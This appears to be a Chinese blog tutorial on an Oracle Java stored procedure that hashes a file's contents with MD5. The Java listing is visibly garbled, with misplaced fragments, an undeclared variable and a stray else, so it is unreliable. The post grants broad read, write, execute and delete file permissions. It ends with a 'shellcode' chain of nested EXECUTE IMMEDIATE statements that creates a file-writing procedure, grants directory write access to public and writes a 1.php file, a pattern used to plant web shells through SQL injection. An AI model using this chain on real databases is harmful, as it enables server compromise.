今天要做一个java存储过程,实现功能:根据文件的内容返回一个MD5值。
开发工具:Eclipse+PL/SQL Developer
步骤如下:
1. 编写Java源代码,并装载到Oracle 8i数据库
create or replace and compile java source named java_md5 as public class Java_MD5 /** File inFile = new File(fileName); if(inFile.exists()){//检查File.txt是否存在 public static String MD5( String FileName )
import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStreamReader;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.security.AccessControlException;
{
private final static String[] hexDigits = {"0", "1", "2", "3", "4",
"5", "6", "7", "8", "9", "a", "b", "c", "d", "e", "f"};
* 根据带路径的文件名返回文件内容的字符串
* @param fileName
* @return
*/
/*private static String readFile(String fileName) {
String s = "";
StringBuffer sb = new StringBuffer();
File inFile = new File(fileName);
BufferedReader in = null;
try {
in = new BufferedReader(new InputStreamReader(new FileInputStream(inFile),"EUC_CN"));
}
catch (Exception e) {
e.printStackTrace();
}
try {
while ( (s = in.readLine()) != null) {
sb.append(s);
}
in.close();
}
catch (Exception e) {
e.printStackTrace();
}
return sb.toString();
}
*/
private static String readFile(String fileName) {
String s = "";
StringBuffer sb = new StringBuffer();
//File inFile = new File(fileName);
BufferedReader in = null;
try {
in = new BufferedReader(new InputStreamReader(new FileInputStream(inFile),"EUC_CN"));
}
catch (Exception e) {
e.printStackTrace();
}
try {
while ( (s = in.readLine()) != null) {
sb.append(s);
}
in.close();
}
catch (Exception e) {
e.printStackTrace();
}
return sb.toString();
}else{
return "66";
}
}
/**
* 转换字节数组为十六进制字符串
* @param 字节数组
* @return 十六进制字符串
*/
private static String byteArrayToHexString(byte[] b){
StringBuffer resultSb = new StringBuffer();
for (int i = 0; i < b.length; i++){
resultSb.append(byteToHexString(b[i]));
}
return resultSb.toString();
}
/** 将一个字节转化成十六进制形式的字符串 */
private static String byteToHexString(byte b){
int n = b;
if (n < 0)
n = 256 + n;
int d1 = n / 16;
int d2 = n % 16;
return hexDigits[d1] + hexDigits[d2];
}
{
try
{
String newString=Java_MD5.readFile( FileName );
//创建具有指定算法名称的信息摘要
MessageDigest md = MessageDigest.getInstance( "MD5" );
//使用指定的字节数组对摘要进行最后更新,然后完成摘要计算
byte[] mymd5 = md.digest(newString.getBytes());
//将得到的字节数组变成字符串返回
String resultString = byteArrayToHexString(mymd5);
return resultString.toUpperCase();
} catch (NoSuchAlgorithmException e) {
return "0";
}
/* catch(AccessControlException ex){
return "0";
}*/
}
}
2,建立包规范和包体
|
create or replace package PK_Check is Function Fn_File_MD5( iFileName In Varchar2 ) Return Varchar2; |
|
create or replace package body PK_Check is Function Fn_File_MD5( iFileName In Varchar2 ) Return Varchar2 As Language Java Name 'Java_MD5.MD5( java.lang.String ) return java.lang.String'; begin |
3,调用JSP
在生成了调用Java方法的包后,就可以调用这些方法所对应的函数和过程了。例如:
| begin -- Call the function :result := pk_check.fn_file_md5(ifilename => :ifilename); end; |
但是在测试过程中总是报如下错误
ORA-29532: Java 调用被未捕获的 Java 例外终止: java.security.AccessControlException: the Permission (java.io.FilePermission c:\c.txt read) has not been granted by dbms_java.grant_permission to SchemaProtectionDomain(AAT|PolicyTableProxy(AAT))
没关系,java在oracle也是需要权限的,我们需要把相关的权限给它才可以哦!在Oracle里这样操作的
1,检查你的执行用户的权限
select * from user_java_policy
2,赋权限
begin dbms_java.grant_Permission('AAT','java.io.FilePermission','c:\*','read,write,execute,delete');end;
这样就OK了!
各个服务器可能设置不一样,根据他提示要求的权限赋予给它就可以了。
当然,当数据库在本机的时候,利用系统中存在的utl_file包写一个文件也是可以的。这里提供简单的,可以作为shellcode.txt里运行的代码
EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''create or replace procedure utlwritefile(p_directory in varchar2, p_filename in varchar2, p_line in varchar2) as fd utl_file.file_type;begin fd := utl_file.fopen(p_directory, p_filename, ''''a''''); utl_file.put_line(fd, p_line); if (utl_file.is_open(fd) = true) then utl_file.fclose(fd); end if;end;'';END;';
这是创建能写文件的utlwritefile存储过程,注意这里的目录是oracle里的虚拟目录,不是物理目录,我们需要自己创建一个虚拟目录并且给予相关的权限
EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''create or replace directory utl_dir_new as ''''f:/inc/'''''';END;';
这里假设需要写东西到f:/inc里,建立了个utl_dir_new的oracle目录,然后给权限
EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''grant write on directory utl_dir_new to public;'';END;';
EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''begin utlwritefile(''''UTL_DIR_NEW'''',''''1.php'''',''''test'''');end;'';END;';
注意UTL_DIR_NEW的大小写,这里写了个test到UTL_DIR_NEW里面的1.php里。
来自 “ ITPUB博客 ” ,链接:https://blog.itpub.net/8554499/viewspace-592384/ ,如需转载,请注明出处,否则将追究法律责任。